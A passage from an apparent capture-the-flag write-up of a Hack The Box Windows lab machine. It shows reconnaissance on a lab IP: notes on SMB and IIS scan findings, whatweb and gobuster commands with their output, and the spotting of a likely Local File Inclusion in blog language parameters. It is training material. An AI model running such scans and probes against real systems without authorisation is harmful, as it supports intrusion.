Windows.</p></li><li><p>OS detection hints towards Windows services and potential Windows-specific vulnerabilities.</p></li></ul></li></ul><h4>SMB Information</h4><ul><li><p>SMB2 Security Mode</p><ul><li><p>Message signing is enabled but not required, indicating possible SMB relay attacks.</p></li></ul></li><li><p>   SMB2 Time</p><ul><li><p>It can be used to understand the time settings of the target system, potentially useful for timing attacks or understanding system behaviour.</p></li></ul></li></ul><h4>HTTP Server Header</h4><ul><li><p>Microsoft-IIS/10.0</p><ul><li><p>Known vulnerabilities in IIS 10.0 could be explored for potential exploits.</p></li></ul></li></ul><h4>Traceroute Information</h4><ul><li><p>Network Distance 2 hops</p></li><li><p>The host is relatively close in the network, which, in a real-world scenario, might affect the types of attacks or reconnaissance techniques used.</p></li></ul><h2>Site enumeration</h2><p>The target IP resolves to a website for a company providing delivery tracking solutions.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!RrAV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!RrAV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png 424w, https://substackcdn.com/image/fetch/$s_!RrAV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png 848w, https://substackcdn.com/image/fetch/$s_!RrAV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png 1272w, https://substackcdn.com/image/fetch/$s_!RrAV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!RrAV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png" width="800" height="687" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:687,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:86253,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!RrAV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png 424w, https://substackcdn.com/image/fetch/$s_!RrAV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png 848w, https://substackcdn.com/image/fetch/$s_!RrAV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png 1272w, https://substackcdn.com/image/fetch/$s_!RrAV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f351681-c9b7-448f-a241-a7c1f4158c70_800x687.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A simple login screen is found at the <em>User Portal</em>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XoNs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XoNs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png 424w, https://substackcdn.com/image/fetch/$s_!XoNs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png 848w, https://substackcdn.com/image/fetch/$s_!XoNs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png 1272w, https://substackcdn.com/image/fetch/$s_!XoNs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XoNs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png" width="401" height="662" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:662,&quot;width&quot;:401,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:16773,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!XoNs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png 424w, https://substackcdn.com/image/fetch/$s_!XoNs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png 848w, https://substackcdn.com/image/fetch/$s_!XoNs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png 1272w, https://substackcdn.com/image/fetch/$s_!XoNs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d65a58d-6092-4e0c-8e8d-d9e3a2f219da_401x662.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>There is an option to register for an account without verification.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!D-gu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!D-gu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png 424w, https://substackcdn.com/image/fetch/$s_!D-gu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png 848w, https://substackcdn.com/image/fetch/$s_!D-gu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png 1272w, https://substackcdn.com/image/fetch/$s_!D-gu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!D-gu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png" width="336" height="655" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:655,&quot;width&quot;:336,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:12668,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!D-gu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png 424w, https://substackcdn.com/image/fetch/$s_!D-gu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png 848w, https://substackcdn.com/image/fetch/$s_!D-gu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png 1272w, https://substackcdn.com/image/fetch/$s_!D-gu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78db7313-5546-4d75-a1dd-1881c78a25b4_336x655.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Registering for an account and logging in lands on a <em>User Portal Under Construction</em> page.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7zD8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7zD8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png 424w, https://substackcdn.com/image/fetch/$s_!7zD8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png 848w, https://substackcdn.com/image/fetch/$s_!7zD8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png 1272w, https://substackcdn.com/image/fetch/$s_!7zD8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7zD8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png" width="540" height="330" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:330,&quot;width&quot;:540,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:18856,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7zD8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png 424w, https://substackcdn.com/image/fetch/$s_!7zD8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png 848w, https://substackcdn.com/image/fetch/$s_!7zD8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png 1272w, https://substackcdn.com/image/fetch/$s_!7zD8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F866e16b7-3c64-4ca4-b812-28b16599869c_540x330.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Further webserver scans</h2><p>A quick scan with <code>whatweb </code>confirms the server is running PHP on IIS.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/sniper/scans]
&#9492;&#9472;$ whatweb 10.129.229.6 | tee whatweb-scan.txt

http://10.129.229.6 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.229.6], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]</code></pre><h2>Further page enumeration</h2><p>Gobuster was used to enumerate possible web pages<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-2" href="#footnote-2" target="_self">2</a>.</p><pre><code> gobuster dir -u http://10.129.229.6 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 100 -e  -o gobuster-scan.txt</code></pre><pre><code>===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.229.6
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://10.129.229.6/images               (Status: 301) [Size: 150] [--&gt; http://10.129.229.6/images/]
http://10.129.229.6/blog                 (Status: 301) [Size: 148] [--&gt; http://10.129.229.6/blog/]
http://10.129.229.6/user                 (Status: 301) [Size: 148] [--&gt; http://10.129.229.6/user/]
http://10.129.229.6/css                  (Status: 301) [Size: 147] [--&gt; http://10.129.229.6/css/]
http://10.129.229.6/js                   (Status: 301) [Size: 146] [--&gt; http://10.129.229.6/js/]
http://10.129.229.6/\                    (Status: 200) [Size: 2635]
http://10.129.229.6/images\              (Status: 403) [Size: 1233]
http://10.129.229.6/_Face_testing_at_Logan_is_fo%0Dund_lacking%2B (Status: 400) [Size: 324]
Progress: 136318 / 141709 (96.20%)</code></pre><p>Results identified a few more pages of interest, namely a <code>/blog</code> page.</p><p>Navigating to <code>/blog</code>, parameters controlling the language of the page were found, which indicate the vulnerability to exploit for initial access is likely a <strong>Local File Inclusion.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9yaO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9yaO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png 424w, https://substackcdn.com/image/fetch/$s_!9yaO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png 848w, https://substackcdn.com/image/fetch/$s_!9yaO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png 1272w, https://substackcdn.com/image/fetch/$s_!9yaO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9yaO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png" width="565" height="470" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:470,&quot;width&quot;:565,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32186,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9yaO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png 424w, https://substackcdn.com/image/fetch/$s_!9yaO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png 848w, https://substackcdn.com/image/fetch/$s_!9yaO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png 1272w, https://substackcdn.com/image/fetch/$s_!9yaO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4fbb4b7-a373-4fda-a19e-1148a091305a_565x470.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NPQj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NPQj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png 424w, https://substackcdn.com/image/fetch/$s_!NPQj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png 848w, 